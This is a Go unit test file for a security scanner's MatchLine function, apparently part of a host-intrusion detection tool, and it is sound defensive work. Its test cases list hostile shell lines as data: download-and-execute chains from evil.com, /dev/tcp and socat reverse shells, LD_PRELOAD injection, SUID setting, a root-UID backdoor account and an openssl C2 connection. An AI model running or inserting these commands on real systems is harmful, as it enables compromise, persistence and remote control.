195 lines
4.4 KiB
Go
195 lines
4.4 KiB
Go
/*
|
|
©AngelaMos | 2026
|
|
patterns_test.go
|
|
*/
|
|
|
|
package scanner
|
|
|
|
import (
|
|
"testing"
|
|
|
|
"github.com/CarterPerez-dev/sentinel/pkg/types"
|
|
)
|
|
|
|
func TestMatchLine(t *testing.T) {
|
|
tests := []struct {
|
|
name string
|
|
line string
|
|
wantHit bool
|
|
wantSev types.Severity
|
|
wantLbl string
|
|
}{
|
|
{
|
|
name: "clean line",
|
|
line: "/usr/sbin/sshd -D",
|
|
wantHit: false,
|
|
},
|
|
{
|
|
name: "curl pipe bash",
|
|
line: "curl http://evil.com/x | bash",
|
|
wantHit: true,
|
|
wantSev: types.SeverityHigh,
|
|
wantLbl: "download-and-execute chain",
|
|
},
|
|
{
|
|
name: "wget pipe sh",
|
|
line: "wget -qO- http://evil.com/x | sh",
|
|
wantHit: true,
|
|
wantSev: types.SeverityHigh,
|
|
wantLbl: "download-and-execute chain",
|
|
},
|
|
{
|
|
name: "base64 decode",
|
|
line: "echo dGVzdA== | base64 -d | sh",
|
|
wantHit: true,
|
|
wantSev: types.SeverityHigh,
|
|
wantLbl: "encoded/obfuscated payload",
|
|
},
|
|
{
|
|
name: "reverse shell dev tcp",
|
|
line: "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1",
|
|
wantHit: true,
|
|
wantSev: types.SeverityCritical,
|
|
wantLbl: "reverse shell pattern",
|
|
},
|
|
{
|
|
name: "socat reverse shell",
|
|
line: "socat exec:'bash -li',pty TCP:10.0.0.1:4444",
|
|
wantHit: true,
|
|
wantSev: types.SeverityCritical,
|
|
wantLbl: "reverse shell pattern",
|
|
},
|
|
{
|
|
name: "temp dir reference",
|
|
line: "/tmp/.hidden/payload",
|
|
wantHit: true,
|
|
wantSev: types.SeverityMedium,
|
|
wantLbl: "temporary directory reference",
|
|
},
|
|
{
|
|
name: "dev shm reference",
|
|
line: "/dev/shm/.evil.so",
|
|
wantHit: true,
|
|
wantSev: types.SeverityMedium,
|
|
wantLbl: "temporary directory reference",
|
|
},
|
|
{
|
|
name: "alias hijack",
|
|
line: "alias sudo='/tmp/keylog && sudo'",
|
|
wantHit: true,
|
|
wantSev: types.SeverityHigh,
|
|
wantLbl: "alias hijacking",
|
|
},
|
|
{
|
|
name: "LD_PRELOAD export",
|
|
line: "export LD_PRELOAD=/dev/shm/.evil.so",
|
|
wantHit: true,
|
|
wantSev: types.SeverityCritical,
|
|
wantLbl: "LD_PRELOAD manipulation",
|
|
},
|
|
{
|
|
name: "nohup background",
|
|
line: "nohup /tmp/.hidden/beacon &",
|
|
wantHit: true,
|
|
wantSev: types.SeverityMedium,
|
|
},
|
|
{
|
|
name: "python socket",
|
|
line: "python3 -c 'import socket'",
|
|
wantHit: true,
|
|
wantSev: types.SeverityCritical,
|
|
wantLbl: "reverse shell pattern",
|
|
},
|
|
{
|
|
name: "PATH to tmp",
|
|
line: "PATH=/tmp/evil:$PATH",
|
|
wantHit: true,
|
|
wantSev: types.SeverityHigh,
|
|
wantLbl: "PATH manipulation to temp dir",
|
|
},
|
|
{
|
|
name: "normal path export",
|
|
line: "export PATH=/usr/local/bin:$PATH",
|
|
wantHit: false,
|
|
},
|
|
{
|
|
name: "comment with keyword",
|
|
line: "# curl http://example.com",
|
|
wantHit: true,
|
|
wantSev: types.SeverityMedium,
|
|
wantLbl: "network tool invocation",
|
|
},
|
|
{
|
|
name: "chmod suid",
|
|
line: "chmod u+s /tmp/.hidden/shell",
|
|
wantHit: true,
|
|
wantSev: types.SeverityCritical,
|
|
wantLbl: "SUID bit manipulation",
|
|
},
|
|
{
|
|
name: "chmod numeric suid",
|
|
line: "chmod 4755 /usr/local/bin/backdoor",
|
|
wantHit: true,
|
|
wantSev: types.SeverityCritical,
|
|
wantLbl: "SUID bit manipulation",
|
|
},
|
|
{
|
|
name: "useradd backdoor",
|
|
line: "useradd -o -u 0 -g root backdoor",
|
|
wantHit: true,
|
|
wantSev: types.SeverityHigh,
|
|
wantLbl: "account creation/modification",
|
|
},
|
|
{
|
|
name: "chattr immutable",
|
|
line: "chattr +i /etc/resolv.conf",
|
|
wantHit: true,
|
|
wantSev: types.SeverityHigh,
|
|
wantLbl: "file attribute manipulation",
|
|
},
|
|
{
|
|
name: "systemctl enable persistence",
|
|
line: "systemctl enable backdoor.service",
|
|
wantHit: true,
|
|
wantSev: types.SeverityMedium,
|
|
wantLbl: "persistence self-installation",
|
|
},
|
|
{
|
|
name: "openssl c2 channel",
|
|
line: "openssl s_client -connect c2.evil.com:443",
|
|
wantHit: true,
|
|
wantSev: types.SeverityHigh,
|
|
wantLbl: "encrypted C2 channel",
|
|
},
|
|
{
|
|
name: "normal chmod",
|
|
line: "chmod 755 /usr/local/bin/app",
|
|
wantHit: false,
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
hit, sev, lbl := MatchLine(tt.line)
|
|
if hit != tt.wantHit {
|
|
t.Errorf(
|
|
"MatchLine(%q) hit = %v, want %v",
|
|
tt.line, hit, tt.wantHit,
|
|
)
|
|
}
|
|
if tt.wantHit && sev < tt.wantSev {
|
|
t.Errorf(
|
|
"MatchLine(%q) sev = %v, want >= %v",
|
|
tt.line, sev, tt.wantSev,
|
|
)
|
|
}
|
|
if tt.wantLbl != "" && lbl != tt.wantLbl {
|
|
t.Errorf(
|
|
"MatchLine(%q) label = %q, want %q",
|
|
tt.line, lbl, tt.wantLbl,
|
|
)
|
|
}
|
|
})
|
|
}
|
|
}
|